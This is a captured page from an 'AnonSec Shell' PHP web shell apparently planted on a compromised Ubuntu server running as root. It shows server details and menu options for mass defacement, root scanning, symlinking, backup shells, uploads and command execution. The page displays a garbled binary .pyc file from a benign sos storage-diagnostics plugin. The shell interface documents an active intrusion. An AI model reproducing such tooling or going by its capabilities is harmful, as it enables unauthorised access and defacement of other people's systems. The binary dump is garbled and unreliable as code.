AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/hpssm.cpython-310.pyc
o

���b�
�@s2ddlmZmZmZddlZGdd�dee�ZdS)�)�Plugin�IndependentPlugin�	PluginOptNc@s@eZdZdZdZdZdZdZedddd	�gZ	d
d�Z
dd
�ZdS)�HpssmaG
    This plugin will capture details for each controller from Smart Storage
    Array Administrator, an Array diagnostic report from Smart Storage
    Administrator Diagnostics Utility and, when the plugins debug option is
    enabled will gather the Active Health System log via the RESTful Interface
    Tool (iLOREST).
    zHP Smart Storage Management�hpssm)�system�storage�hardware)�ilorest�ssacli�ssaducli�debugFzcapture debug data)�default�desccs�d�dg}gd��|��fdd�|D��t�d���d}|�|�}g}|dd	kr8�fd
d�|d��D�}�d�|���fd
d�|D��|��}|jd|dd�|�d�rb|�|�dSdS)Nrzctrl all show status)zld all showzld all show detailzpd all showzpd all show detailcsg|]}d�|f�qS)z%s %s�)�.0�subcmd)�cmdr�:/usr/lib/python3/dist-packages/sos/report/plugins/hpssm.py�
<listcomp>+szHpssm.setup.<locals>.<listcomp>z,^HP.*Smart Array (.*) in Slot ([0123456789])z ctrl all show config detail�statusrcs$g|]}��|�}|r|�d��qS)�)�search�group)r�line�m)�patternrrr3s��outputz ctrl slot=cs$g|]}�D]	}d�||f�qqS)z%s%s %sr)r�slot�slot_subcmd)�slot_subcmds�ssacli_ctrl_slot_cmdrrr8s���z"ssaducli -v -adu -f %s/adu-log.zipzssaducli_-v_-adu.log)�suggest_filenamer
)�add_cmd_output�re�compile�collect_cmd_output�
splitlines�get_cmd_output_path�
get_option�do_debug)�self�subcmds�config_detail_cmd�
config_detail�
ctrl_slots�logpathr)rrr r!r�setups:��



���
�
�zHpssm.setupcCs|jd||dd�dS)Nz5ilorest serverlogs --selectlog=AHS --directorypath=%szilorest.log)�runatr")r#)r+r0rrrr*Ks
�zHpssm.do_debugN)�__name__�
__module__�__qualname__�__doc__�
short_desc�plugin_name�profiles�packagesr�option_listr1r*rrrrr
s�,r)�sos.report.pluginsrrrr$rrrrr�<module>s

Anon7 - 2022
AnonSec Team